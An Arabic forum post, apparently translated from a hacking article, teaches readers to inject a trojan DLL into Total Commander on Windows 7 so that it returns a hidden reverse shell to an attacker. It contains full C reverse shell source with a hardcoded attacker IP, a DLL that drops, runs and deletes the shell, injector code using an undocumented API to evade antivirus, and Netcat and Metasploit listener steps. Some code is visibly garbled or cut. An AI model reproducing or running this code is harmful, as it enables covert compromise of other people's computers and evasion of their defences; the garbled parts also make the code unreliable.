• 0
mr omer

Reverse Shell Through DLL Injection "شل عكسي من خلال حقن DLL"

سؤال

إستعمال API Function غير موثّقة

حقن DLL تقنية شعبية مستعملة من قبل مهاجمين لحَقْن ملفَ قابل للتّنفيذَ لكي يُؤدّي الى السيطرَة على الكود التنفيذي. وهنالك عِدّة طرق لمَنْع هذا قد طُوّرَت مِن قِبل صنَّاعِ نظامِ التشغيل، لكن (كما نحن سَنَرى) لم تنجح هذه الطرق 100 % .

ما سوف تتعلم ...
• كيف يتم إجراء حقن DLL على نظام ​​ويندوز 7 التمت في نهاية المطاف:
أ) باستخدام API Function  الموثّقة في نظام التشغيل Windows  .
ب) باستخدام API Function  غير الموثّقة في يندوز. وهذا الأسلوب أيضا تجاوز أساسيات ويندوز لمكافحة الفيروسات(the windows essentials anti-virus).
• عندما يتم تنفيذ الحقن، وخاصة (غير قابل للكشف لحد الآن) يتم إرجاع الشل العكسي إلى المهاجم (وتظمنت شفرة المصدر ).
وبالإضافة إلى ذلك، يتم تقديم وسيلة لإنشاء ملف قابل للتنفيذ PE من DLL في وقت التشغيل.

ما يجب أن تعرفه ...
يجب على الذين يقرؤن هذه المقالة ان يعرفوا بالفعل  كيفية البرمجة في C أو + +C  ويكون لديهم معرفة أساسية في windows API calls . وبالإضافة إلى ذلك، هناك حاجة إلى بعض المعارف من تقنيات الاستغلال على النحو التالي:
• ما هو reverse shell وكيفية استخدامه.
• كيف Netcat يمكن استخدامها للاستماع واتصالات عملية في الاختراق (http://netcat.sourceforge.net/).
• الاستخدام الأساسي للارميتاج(Armitage) في (http://www.fastandeasyhacking.com).

 

سوف اقدم طريقتين لهجوم ناجح على ويندوز 7 في نهاية المطاف OS يقوم بإرجاع شل عكسي إلى المهاجم. يستخدم الأسلوب الأول API Function  الموثّقة CreateRemoteThread ويستخدم الأسلوب الثاني funNtCreateThreadEx غير الموثقة. لكنني أفضل أسلوب آلاخر وذلك لأن ألاول واحد يطلق إنذار للأمن النوافذ أساسيات مكافحة الفيروسات (http://is.gd/FkVx3A)، في حين الثاني لا!
وبالإضافة إلى ذلك، شل العكسي لا يمكن الكشف عنها (طورت في + +C ) وسوف يتم استخدامها جنبا إلى جنب مع وسيلة لنقل أو تعبئة للتنفيذ داخل آخر قابل للتنفيذ (أو DLL).
سيتم تنفيذ الهجوم النهائي باستخدام نهجين: النهج التقليدي (manual) التي أستخدمها Netcat فقط، و... النهج الرسمي حيث يمكنني استخدام ارميتاج معروفة من ترسانة Metasploit. والأرقام من الهجوم تكون متاحة لك.
قبل أن نبدأ أود أن أوضح أن هذا المقال هو أسلوب استدعاء شل عكسي من خلال حقن DLL باستخدام API غير الموثقة في ويندوز 7.

 

الخطوات الأولى
من أجل أداء مثل هذا الهجوم علينك أولا أن تقرر أي برنامج قابل للتنفيذ ونحن نريد ان نحقنة. على سبيل المثال أنا سوف احقن برنامج Total Commander program (http://www.ghisler.com)، مدير ويندوز المفضلة المبرمجين '(وليس فقط!). عن طريق حقن Total Commander program يعني أنه عندما يبدأ مستخدم هذا البرنامج في النظام الخاص به وسوف تحصل على الفور على الشل .

post-264243-0-85407000-1367701208_thumb.

  سوف انسخ byte code  من  reverse shell executable.

/*AJVrs.cReverse shell in win32(c) by Andreas Venieris (aka thiseas) 2010Compile with VS 2008 from command line with cl:C:> cl AJVrs.c***************************************************************/#include <winsock2.h>#include <stdio.h>#pragma comment(lib, "Ws2_32.lib") // Inform the linker that// the Ws2_32.lib file is needed.#define DEFAULT_PORT 1234#define DEFAULT_IP "192.168.1.70"WSADATA wsaData;SOCKET Winsocket;STARTUPINFO theProcess;PROCESS_INFORMATION info_proc;struct sockaddr_in Winsocket_Structure;int main(int argc, char *argv[]){char *IP = DEFAULT_IP;short port = DEFAULT_PORT;if (argc == 3){strncpy(IP,argv[1],16);port = atoi(argv[2]);}WSAStartup(MAKEWORD(2,2), &wsaData);Winsocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL);Winsocket_Structure.sin_port=htons(port);Winsocket_Structure.sin_family=AF_INET;Winsocket_Structure.sin_addr.s_addr=inet_addr(IP);if(Winsocket==INVALID_SOCKET){WSACleanup();return 1;}if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Structure,sizeof(Winsocket_Structure),Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR){WSACleanup();}// Starting shell by creating a new process with i/o redirection.memset(&theProcess,0,sizeof(theProcess));theProcess.cb=sizeof(theProcess);theProcess.dwFlags=STARTF_USESTDHANDLES;// here we make the redirectiontheProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket;// fork the new process.if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0){WSACleanup();return 1;}return 0;}

الأسلوب
1. تحقق مما إذا توتال كوماندر قيد التشغيل.
2. إذا كان يعمل احقنه، والعودة شل عكسي إلى عنوان IP معين، ثم متابعة تشغيل توتال كوماندر.
3. إذا كان المجموع قائد ليست قيد التشغيل goto 1.
أسلوبي سوف استخدام ثلاثة برامج:
1. totalcmd.exe (توتال كوماندر): هو البرنامج الذي من شأنه أن يؤدي الهجوم كله.
2. myDLL.DLL: هو DLL التي سيتم استخدامها كحصان طروادة. وسوف تحمل شل عكسي. واحد من مسؤولياتها الرئيسية هي عند حدوث DLL_PROCESS_ATTACH فإنه سيتم فك شل عكسي إلى القرص وتنفيذه.
3. dllattack08.exe: هو البرنامج الذي عند تنفيذ أنه سيبقى في الذاكرة في انتظار تنفيذ الخطوات المذكورة أعلاه 3 من الطريقة.

 

خلق شل عكسي
وسأقدم هنا شفرة المصدر الخاص بي للشل العكسي الخاص بي (قائمة 1).
البرنامج أعلاه يمكن استخدامها كما هو (كما استبدلت من Netcat) أو بالتزامن معها.
استعمال
لتشغيل شل بنجاح نحتاج لأداء المهام الاثنين التالية :
المهمة 1: في مربع المهاجمين تشغيل Netcat للاستماع للاتصال:

on fedora : nc -l 1234
on ubuntu : nc -v -l -p 1234
on windows : nc -v -l -p 1234

post-264243-0-85407000-1367701208_thumb.

 

المهمة 2: في بصندوق الضحية، تشغيل للشل العكسي الخاص بي نفسه:

c:> AJVrs.exe <attackerIP> 1234


تخزين التعليمات البرمجية القابلة للتنفيذ من shell العكسي الخاص بي داخل برنامج
سنقوم بتخزين رمز قابل للتنفيذ داخل DLL (أننا ذاهبون لاستخدامها لاحقا) في النظام ليتم تنفيذها عند الحاجة إليه (سأشرح لاحقا كيف). وبالتالي، لا بد لي من الحصول على رمز البايت للشل العكسي ووضعها في الداخل إلى برنامج آخر. هناك العديد من الطرق للقيام بذلك. والهدف هو لتخزين للشل العكسي الخاص بي كامل للتنفيذ داخل byte array ومن ثم كتابة هذا byte array إلى القرص مع اسم جديد. الملف الجديد الذي سيتم إنشاؤه يكون قابل للتنفيذ PE العادي (http://en.wikipedia.org/wiki/Portable_Executable)!
أنا سوف افتح reverse shell executable الخاص بي للتنفيذ للشل 'AJVrs.exe' باستخدام برنامج UltraEdit محرري المفضل (والذي هو محرر اعرفة أيضا). تحديد الكل، انقر على الحق واختر نسخ الهيكس مشاهدة مختارة .
أنا سوف الصق الرمز المختار في ملف جديد؛ أنتقل إلى تحديد العمود (البديل + C) وحدد كل byte code. ثم انقر فوق الحق والنسخ .
أنا وضعت وحدات البايت المحدد إلى ملف جديد وأنا وضعت \ X بين كل رقم ست عشرية، كما يدل المثال التالي:

post-264243-0-85407000-1367701208_thumb.

 

المهمة أعلاه يمكن أن يتحقق سريعة جدا اذا كنا استبدال كافة المسافات مع \ X. ولكن مرة أخرى نحن سوف تفقد الأحرف الأولى في كل سطر. لذلك فمن الحكمة إذا علينا أولا نقل كافة النص موضع واحد على اليمين:
مثال

From:4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00To:4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00Just to make one space.

هذهsource code الخاص بال Trojan DLL   

// The Trojan DLL// (c) by Andreas Venieris (aka Thiseas) 2010//////////////////////////////////////////////////////#include<stdio.h>#include <windows.h>// In recerseshell I just put contents of the file MyTempByteCode.txtchar recerseshell[] ="\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00""\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00""\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68""\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F"......"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved){switch(dwReason)case DLL_PROCESS_ATTACH:int i, len = sizeof(recerseshell);FILE *ptr ;ptr = fopen("\\DLLInjection\\DirtyShell.exe", "wb");for (i=0; i<len; i++)fprintf(ptr, "%c",recerseshell[i]);fclose(ptr);Sleep(1000);WinExec("\\DLLInjection\\DirtyShell.exe 192.168.57.147 6666", SW_HIDE);Sleep(1000);WinExec("cmd /c ""del \\DLLInjection\\DirtyShell.exe"" ", SW_HIDE);

الآن، يجب أن أضع كل سطر واحد في علامات اقتباس مزدوجة. باستخدام وضع عمود (البديل + C) يمكنني بسهولة أرفق كل سطر بين علامات الاقتباس المزدوجة ("...") من أجل تلبية هدفي النهائي .
طيب، هذا كل شيء. أنا حفظ هذا الملف على القرص مع اسم MyTempByteCode.txt.


الخطوة 3: إنشاء DLL
حان الوقت لإنشاء DLL. هو DLL التي سيتم استخدامها كحصان طروادة. وسوف تحمل للشل العكسي الخاص بي داخله. واحد من مسؤولياتها الرئيسية هي عندما DLL_PROCESS_

// dllattack08.cpp// (c) by Andreas Venieris (aka Thiseas) 2010//البرنامج الذي يقوم بتشغيل DLL ويجعلة يحقن////////////////////////////////////////////////////#include <windows.h>#include <TlHelp32.h>#include <shlwapi.h> // Add Lib: Shlwapi.lib#include <stdio.h>typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx)(OUT PHANDLE hThread,IN ACCESS_MASK DesiredAccess,IN LPVOID ObjectAttributes,IN HANDLE ProcessHandle,IN LPTHREAD_START_ROUTINE lpStartAddress,IN LPVOID lpParameter,IN BOOL CreateSuspended,IN ULONG StackZeroBits,IN ULONG SizeOfStackCommit,IN ULONG SizeOfStackReserve,OUT LPVOID lpBytesBuffer);//Buffer argument passed to NtCreateThreadEx functionstruct NtCreateThreadExBuffer{ULONG Size;ULONG Unknown1;ULONG Unknown2;PULONG Unknown3;ULONG Unknown4;ULONG Unknown6;PULONG Unknown7;ULONG Unknown8;};HANDLE GetProcessHandle(LPCWSTR szExeName, DWORD *ProcessID){PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) } ;HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);if(Process32First(hSnapshot, &Pc)){do{if(StrStrI(Pc.szExeFile, szExeName)) {*ProcessID = Pc.th32ProcessID;return OpenProcess(PROCESS_ALL_ACCESS, TRUE, Pc.th32ProcessID);}}while(Process32Next(hSnapshot, &Pc));}return NULL;}BOOL DllInject(HANDLE hProcess, LPSTR lpszDllPath){Sleep(2000);HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLLif(hmKernel == NULL || hProcess == NULL)return FALSE;int nPathLen = strlen(lpszDllPath); //MAX_PATH; //LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE);if (lpvMem == NULL)return FALSE;if (!WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL))return FALSE;DWORD dwWaitResult= 0, dwExitResult = 0;HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"),lpvMem,0,NULL);dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.GetExitCodeThread(hThread, &dwExitResult);CloseHandle(hThread);VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE);return (1);}else{return (0);

ATTACH يحدث فإنه سيتم فك للشل العكسي إلى القرص وتنفيذه.
أنا قمت بإنشاؤها باستخدام لغة + +C  في Microsoft Visual Studio 2008 .
شفرة المصدر لا تحتاج إلى تفسير(self-explanatory): متى سيتم تشغيل عملية ATTACH، سأكتب byte code العكسي إلى الملف، وسيتم تنفيذ ذلك (من أجل فتح الشل العكسي) وسوف احذفه من القرص في النظام لإخفاء my tracks.

 

الخطوة الرابعة: تنفيذ الحقن

الآن أَحتاجُ  برنامج لتشغيل DLL أعلاه. هذا هو برنامج الـ3  الذي يَلْعبُ دور:
dllattack 08. exe: هو واحد من البرامج الذي سَيُؤدّي عملية الحقنَ الفعليةَ لبرنامج Total Commander بإستعمال documented API function الموثق ، undocumented  API function  غير موثّق  (في حالة الخلسةَ).
لقد برمجت ذلك  بإستعمال البرنامجِ C++ VS 2008 .
CreateRemoteThread الموثّق:

DllInject(hProcess, „\\DLLInjection\\myDLL.dll”)

sizeof (tp), NULL, NULL))return(GetLastError());CloseHandle(hToken);}int main(int argc, char *argv[]){DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID;LPCWSTR lpVictimProcess = TEXT("totalcmd.exe");char *cpVictimProcess = "totalcmd.exe";printf("DLL Injection.\n");if ( ActivateSeDebugPrivilege() == 1)printf("Get All Privilege.\n");elseprintf("Cannot Get All Privilege.\n");printf("Waiting for process %s...",cpVictimProcess);HANDLE hProcess;do{hProcess = GetProcessHandle(lpVictimProcess, &RemoteProcessID);Sleep(1);}while(hProcess == NULL);printf("\nFound! Try to inject...");if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )){printf("\nFailed to get the current session with error %d", GetLastError());}if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )){printf("\nFailed to get the remote session with error %d", GetLastError());}if (DllInject_2(hProcess, "\\DLLInjection\\myDLL.dll"))printf("\nSUCCESSFUL!\n");elseprintf("\nFailed!\n");return 0;}

post-264243-0-56447000-1367702972_thumb.

الشكل اعلاه عندما يتم تنفيذ حقن DLL في ويندوز من قبل المهاجم (أوبونتو) يحصل على الشل العكسي

وظيفة يأخذ 2 معطيات: قبض عملية البرنامج الذي يجري ليتم حقنه واسم الملف DLL الفعلية التي سيتم ATTACH على حقن البرنامج التنفيذي. وكما ترون هذا هو  بما يمكنك لفعل أي شيء تريد ... ؛)

 

موضوع آخرمثير للاهتمام هو استخدام وظيفة SeDebugPrivilege على أنها محاولة للحصول على أكبر عدد من الامتيازات بشكل ممكن:
عن طريق تعيين امتياز SeDebugPrivilege على عملية قيد التشغيل، يمكنك الحصول على مقبض عملية من أي تطبيق قيد التشغيل. عندما الحصول على مقبض العملية، يمكنك ثم تحديد علامة PROCESS_ALL_ACCESS، والتي سوف تسمح استدعاء من مختلف Win32 APIs و على أن التعامل مع عملية، والتي عادة لا يستطيع أن يفعل. (http://support.microsoft.com/kb/185215)
هذا مثير للاهتمام حقا. وفقا للتجاربي، ما سبق هو ليس 100٪ صحيح لنظام التشغيل Windows 7، ولكن الأمر يستحق المحاولة ... على أي حال.
هناك عائقا مهما من هذا الأسلوب هو أنه يتسبب تحذير Microsoft Security Essentials Antivirus. لقد وجدت بأن سبب التنبيه هو استخدام API CreateRemoteThread داخل الدالة DllInject. لذلك، يمكنني استبدال هذه الوظيفة مع شيئ جديد ولكن ... واحدة غيرموثقة! لشرح كيف نجد ونحليل وظائف ويندوز API غير الموثقة ( سأحاول أن أشرح في مقال آخر).

post-264243-0-46843600-1367703740_thumb.

ويتم تنفيذ استدعاء API غير الموثقة في DllInject_2 function. وكان التغيير الوحيد على التعليمات البرمجية من أجل استدعاء API هذا هو استبدال خط 7TH من الجزء السفلي من شفرة المصدر أعلاه:

Fromif (DllInject(hProcess, „\\DLLInjection\\myDLL.dll”))Toif (DllInject_2(hProcess, „\\DLLInjection\\myDLL.dll”))

وهذا كل شيء. يمكنك أن تصبح الشبح على الشبكة!
والمهاجمة باستخدام الطريقة اليدوية
وفيما يلي مثال للهجوم باستخدام الطريقة اليدوية (التقليدية) :
مهاجمة باستخدام Metasploit أرميتاج
Metasploit (http://www.metasploit.com/) هو أداة مهنية لاختبارات الاختراق وليس فقط ذلك وحسب. أرميتاج (http://www.fastandeasyhacking.com/) هو الواجهة الأمامية (أستطيع أن أقول) لmetasploit. هذه الأداة يمكن استخدامها لأداء نفس الهجوم. ويمكن استخدامه كعميل للاستماع إلى منفذ 6666 من أجل الحصول على الشل العكسي الخاص بنا. نلقي نظرة هنا:
واحدة من الأشياء المثيرة للاهتمام هنا هو أن أي شل عكسي يمكن استخدامها. يمكنك (على سبيل المثال) إنشاء واحدة مشفرة باستخدام Metasploit، والحصول على التعليمات البرمجية الخاصة به بالنظام الثنائي، ووضعها في DLL الخاص بي وتنفيذ الهجوم. هذه الطريقة السورس كود  بما يكفي لدعم مثل هذه التقنيات.

post-264243-0-22165100-1367703050_thumb.

4

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

4 إجابة على هذا السؤال .

  • 0

 انتظروا المقالة القادمة

تم تعديل بواسطه ±MICRO
1

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

بصراحة لم أفهم أي شيء !! لا الكلام ولا الكود !! :(
هل هذا مستوى مبتدئ أم متقدم ... ؟
أعني ما الذي يجب قراءته قبل هذا ؟

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

بصراحة لم أفهم أي شيء !! لا الكلام ولا الكود !! :(

الشرح يتكلم عن اختراق وندوز 7 التمت وذلك عن طريق حقن احدى مكتبات dll في النظام باستخدام API Function  غير الموثّقة في ويندوز وذلك لكي تتغلب على مضادات الفيروسات وبعد ذلك الاتصال من خلال اداة Netcat (الطريقة اليدوية)من اجل الاتصال بال reverse shell الذي سوف يكون وسيط لكي ينقل الاوامر الى الجهاز الذي اخترقتة.اما اذا اردت الطريقة الاوتوماتيكية تستطيع استخدام مشروع Metasploit بدلاً من Netcat

 

هل هذا مستوى مبتدئ أم متقدم ... ؟

متوسط الى متقدم

أعني ما الذي يجب قراءته قبل هذا ؟

 

يتطلب معرفة بلغة السي++ و windows API ومشروع Metasploit

تم تعديل بواسطه THE [email protected]
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

السلام عليكم ورحمة الله وبركاته

شكرا لك على مشاركتك للمعلومات

ولكن السوال الاكواد هذي للاختراق

فكيف نقوم بالحماية من هذا  الاخترإإق ؟

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

من فضلك سجل دخول لتتمكن من التعليق

ستتمكن من اضافه تعليقات بعد التسجيل



سجل دخولك الان

  • يستعرض القسم حالياً   0 members

    لا يوجد أعضاء مسجلين يشاهدون هذه الصفحة .